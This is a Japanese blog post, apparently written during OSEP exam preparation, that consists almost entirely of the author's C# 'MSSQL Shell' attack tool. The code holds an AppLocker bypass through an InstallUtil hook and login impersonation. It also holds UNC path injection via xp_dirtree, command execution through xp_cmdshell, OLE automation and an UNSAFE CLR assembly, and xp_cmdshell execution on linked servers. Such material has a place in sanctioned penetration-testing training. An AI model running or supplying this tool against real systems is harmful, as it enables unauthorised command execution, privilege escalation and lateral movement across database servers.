見出し画像

#153 MSSQL Shell

 OSEPでは、MSSQLもけっこう重要なテーマになっています。情報収集したり、コマンド実行するためのツールを作りました。

MSSQL Shell

 Shellのようなインターフェースで、MSSQLサーバーに対してクエリを実行できます。名前は考え中です。

using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel.Design;
using System.Data.OleDb;
using System.Data.SqlClient;
using System.Globalization;
using System.Linq;
using System.Runtime.Remoting.Messaging;

namespace msshell
{
    internal class Program
    {
        static void Main(string[] args)
        {
            Shell.Run();
        }
    }

    // applocker bypass with InstallUtil
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            Shell.Run();
        }
    }

    class Shell
    {
        public static void Run()
        {

            Banner();
            Console.Write("server: ");
            String server = Console.ReadLine();
            Console.Write("database: ");
            String database = Console.ReadLine();
            SqlConnection con = Connect(server, database);

            if (!CheckConnection(con))
            {
                Console.WriteLine("[-] exitting");
                return;
            }

            while (true)
            {
                Console.Write("MS> ");
                String cmd = Console.ReadLine();
                cmd = cmd.Trim().ToLower();
              
                if (cmd == "exit")
                {
                    break;
                }

                switch (cmd)
                {
                    case "help":
                        Help();
                        break;
                    case "connect":
                        Console.Write("server: ");
                        server = Console.ReadLine();
                        Console.Write("database: ");
                        database = Console.ReadLine();
                        con = Connect(server, database);
                        break;
                    case "disconnect":
                        Disconnect(con);
                        break;
                    case "query":
                        while (true)
                        {
                            Console.Write("query> ");
                            String query = Console.ReadLine();
                            if (query == "exit")
                            {
                                break;
                            }
                            List<List<String>> query_result = Query(con, query);
                            PrintQueryResult(query_result);
                        }
                        break;
                    case "user":
                        QueryUser(con);
                        break;
                    case "sysuser":
                        QuerySystemUser(con);
                        break;
                    case "perm":
                        Console.Write("perm: ");
                        String perm = Console.ReadLine();
                        List<String> users = QueryPermUsers(con, perm);
                        break;
                    case "role":
                        Console.Write("role: ");
                        String role = Console.ReadLine();
                        QueryRole(con, role);
                        break;
                    case "impersonate":
                        Console.Write("impersonate to: ");
                        String impersonate = Console.ReadLine();
                        Impersonate(con, impersonate);
                        break;
                    case "unc":
                        Console.Write("path: ");
                        String path = Console.ReadLine();
                        UncPath(con, path);
                        break;
                    case "xpcmd":
                        EnableXpCmdShell(con);
                        while (true)
                        {
                            Console.Write("cmd> ");
                            String xp_command = Console.ReadLine();
                            if (xp_command == "exit")
                            {
                                break;
                            }
                            String result = ExecuteXpCmd(con, xp_command);
                        }
                        break;
                    case "olecmd":
                        EnableOleCmdShell(con);
                        while (true)
                        {
                            Console.Write("cmd> ");
                            String ole_command = Console.ReadLine();
                            if (ole_command == "exit")
                            {
                                break;
                            }
                            ExecuteOleCmd(con, ole_command);
                        }
                        break;
                    case "asmcmd":
                        Console.Write("dll: ");
                        String dll = Console.ReadLine();
                        LoadAssembly(con, dll);
                        while (true)
                        {
                            Console.Write("cmd> ");
                            String asm_command = Console.ReadLine();
                            if (asm_command == "exit")
                            {
                                break;
                            }
                            ExecuteAssembly(con, asm_command);
                        }
                        break;
                    case "link":
                        QueryLinkedServers(con);
                        break;
                    case "linkquery":
                        Console.Write("server: ");
                        String link_server = Console.ReadLine();
                        while (true)
                        {
                            Console.Write("query> ");
                            String query = Console.ReadLine();
                            if (query == "exit")
                            {
                                break;
                            }
                            List<List<String>> result = ServerQuery(con, link_server, query);
                            PrintQueryResult(result);
                        }
                        break;
                    case "linkxpcmd":
                        Console.Write("server: ");
                        String link_xp_server = Console.ReadLine();
                        ServerEnableXpCmd(con, link_xp_server);
                        while (true)
                        {
                            Console.Write("cmd> ");
                            String link_xp_command = Console.ReadLine();
                            if (link_xp_command == "exit")
                            {
                                break;
                            }
                            String result = ServerExecuteXpCmd(con, link_xp_server, link_xp_command);
                        }
                        break;
                    default:
                        Console.WriteLine("[-] command not found");
                        break;
                } 
            }
        }

        private static void Banner()
        {
            Console.WriteLine("MSSQL Server Utils");
        }

        private static void Help()
        {
            Console.WriteLine("MSShell");
            Console.WriteLine("usage: ");
            Console.WriteLine(" help     print help");
            Console.WriteLine(" connect     connect to server/database");
            Console.WriteLine(" disconnect     disconnect from server/database");
            Console.WriteLine(" query     execute SQL query");
            Console.WriteLine(" user    get user name");
            Console.WriteLine(" sysuser    get system user name");
            Console.WriteLine(" perm    get users with permission");
            Console.WriteLine(" role    check assigned role");
            Console.WriteLine(" impersonate    impersonate to user");
            Console.WriteLine(" unc    UNC path injection");
            Console.WriteLine(" xpcmd    execute command (xp_cmdshell)");
            Console.WriteLine(" olecmd    execute command (ole procedures)");
            Console.WriteLine(" asmcmd    execute command (custom assembly)");
            Console.WriteLine(" link    get linked servers");
            Console.WriteLine(" linkquery    execute SQL query on linked server");
            Console.WriteLine(" linkxpcmd    execute command on linked server");
        }

        private static void PrintQueryResult(List<List<String>> result)
        {
            foreach (List<String> row in result)
            {
                String row_str = String.Join(" ", row);
                Console.WriteLine(row_str);
            }
        }

        private static SqlConnection Connect(String server, String database)
        {
            String conString = $"Server = {server}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] auth success");
            }
            catch
            {
                Console.WriteLine("[-] auth failed");
            }

            return con;
        }
        
        private static void Disconnect(SqlConnection con)
        {
            if (CheckConnection(con))
            {
                con.Close();
            }

            if (CheckConnection(con))
            {
                Console.WriteLine("[-] failed to close connection");
            }

            Console.WriteLine("[+] connection closed");
        }

        private static bool CheckConnection(SqlConnection con)
        {
            if (con.State == System.Data.ConnectionState.Open)
            {
                return true;
            }
            return false;
        }

        private static List<List<String>> Query(SqlConnection con, String query)
        {
            List<List<String>> result = new List<List<String>>();
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader;
            try
            {
                reader = command.ExecuteReader();
            } catch (Exception e)
            {
                Console.WriteLine($"[-] query failed: {e.Message}");
                return result;
            }

            while (reader.Read() == true)
            {
                List<String> row = new List<String>();
                for (int i= 0; i < reader.FieldCount; i++)
                {
                    row.Add(reader[i].ToString());
                }
                result.Add(row);
            }
            
            reader.Close();

            return result;
        }

        // get system_user
        private static String QuerySystemUser(SqlConnection con)
        {
            String query = "SELECT SYSTEM_USER;";
            List<List<String>> result = Query(con, query);
            String user = result[0][0];
            Console.WriteLine($"[+] system_user: {user}");
            return user;
        }

        // get user
        private static String QueryUser(SqlConnection con)
        {
            String query = "SELECT USER_NAME();";
            List<List<String>> result = Query(con, query);
            String user = result[0][0];
            Console.WriteLine($"[+] user: {user}");
            return user;
        }

        // get assigned roles
        private static bool QueryRole(SqlConnection con, String role)
        {
            String query = $"SELECT IS_SRVROLEMEMBER('{role}');";
            List<List<String>> result = Query(con, query);
            if (result.Count > 0)
            {
                Int32 role_result = Int32.Parse(result[0][0]);
                if (role_result == 1)
                {
                    Console.WriteLine($"[+] role: {role}");
                    return true;
                }
            }
            
            return false;
        }

        // find impersonate users
        private static List<String> QueryPermUsers(SqlConnection con, String perm)
        {
            perm = perm.ToUpper();
            List<String> users = new List<String>();
            String query = $"SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = '{perm}';";
            List<List<String>> result = Query(con, query);
            foreach (List<String> row in result)
            {
                Console.WriteLine($"[+] user: {row[0]}");
                users.Add(row[0]);
            }
            if (result.Count == 0)
            {
                Console.WriteLine("[-] not found");
            }
            return users;
        }

        // impersonate to user
        private static bool Impersonate(SqlConnection con, String user)
        {
            String query = $"EXECUTE AS LOGIN = '{user}';";
            Query(con, query);
            // check
            String impersonated = QueryUser(con);
            if (impersonated == user)
            {
                Console.WriteLine($"[+] impersonation success: {impersonated}");
                return true;
            }
            Console.WriteLine("[-] impersonation failed");
            return false;

        }

        // UNC path injection
        private static void UncPath(SqlConnection con, String path)
        {
            String query = $"Exec master..xp_dirtree \"{path}\";";
            Query(con, query);
        }

        // setup xp_cmdshell
        private static void EnableXpCmdShell(SqlConnection con)
        {
            String query = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
            Query(con, query);
        }

        // execute xp_cmdshell
        private static String ExecuteXpCmd(SqlConnection con, String cmd)
        {
            String query = $"EXEC xp_cmdshell '{cmd}'";
            List<List<String>> result = Query(con, query);
            String output = "";
            foreach (List<String> row in result)
            {
                output += row[0];
            }
            Console.WriteLine($"[+] {output}");
            return output;
        }

        // setup ole procedure
        private static void EnableOleCmdShell(SqlConnection con)
        {
            String query = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";
            Query(con, query);
        }

        // execute Ole procedure
        private static void ExecuteOleCmd(SqlConnection con, String cmd)
        {
            String query = $"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"{cmd}\"';";
            Query(con, query);
        }

        // Load assembly from path
        private static void LoadAssembly(SqlConnection con, String path)
        {
            String query = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;";
            String query2 = "DROP PROCEDURE IF cmdExec; DROP ASSEMBLY myAssembly;";
            String query3 = $"CREATE ASSEMBLY myAssembly FROM '{path}' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];";
            Query(con, query);
            Query(con, query2);
            Query(con, query3);
        }

        // execute loaded assembly
        private static String ExecuteAssembly(SqlConnection con, String cmd)
        {
            String query = $"Exec cmdExec '{cmd}'";
            List<List<String>> result = Query(con, query);
            String output = "";
            foreach (List<String> row in result)
            {
                output += row[0];
            }
            return output;
        }

        // get linked servers
        private static List<String> QueryLinkedServers(SqlConnection con)
        {
            List<String> servers = new List<String>();
            String query = "EXEC sp_linkedservers;";
            List<List<String>> result = Query(con, query);
            foreach (List<String> row in result)
            {
                Console.WriteLine($"linked server: {row[0]}");
                servers.Add(row[0]);
            }
            if (result.Count == 0)
            {
                Console.WriteLine("[-] not found");
            }
            return servers;
        }

        // execute query on linked server
        private static List<List<String>> ServerQuery(SqlConnection con, String server, String query)
        {
            String serverquery = "";
            String lower = query.ToLower();
            if (lower.StartsWith("exec"))
            {
                String exec = lower.Replace("exec ", "");
                exec = exec.Replace("'", "''");
                // procedure call
                serverquery = $"EXEC ('{exec}') AT {server}";
            } else
            {
                // query
                serverquery = $"SELECT * FROM OPENQUERY('{server}', '{query}')";
            }
            
            List<List<String>> result = Query(con, serverquery);
            return result;
        }

        // setup xp_cmdshell on linked server
        private static void ServerEnableXpCmd(SqlConnection con, String server)
        {
            String query = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;";
            String query2 = "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
            ServerQuery(con, server, query);
            ServerQuery(con, server, query2);
        }

        // execute xp_cmdshell on linked server
        private static String ServerExecuteXpCmd(SqlConnection con, String server, String cmd)
        {
            String query = $"EXEC xp_cmdshell '{cmd}'";
            List<List<String>> result = ServerQuery(con, server, query);
            String output = "";
            foreach (List<String> row in result)
            {
                output += row[0];
            }
            Console.WriteLine($"[+] {output}");
            return output;
        }
    }
}

まだテスト甘めですが、ほぼ動きます。



いいなと思ったら応援しよう!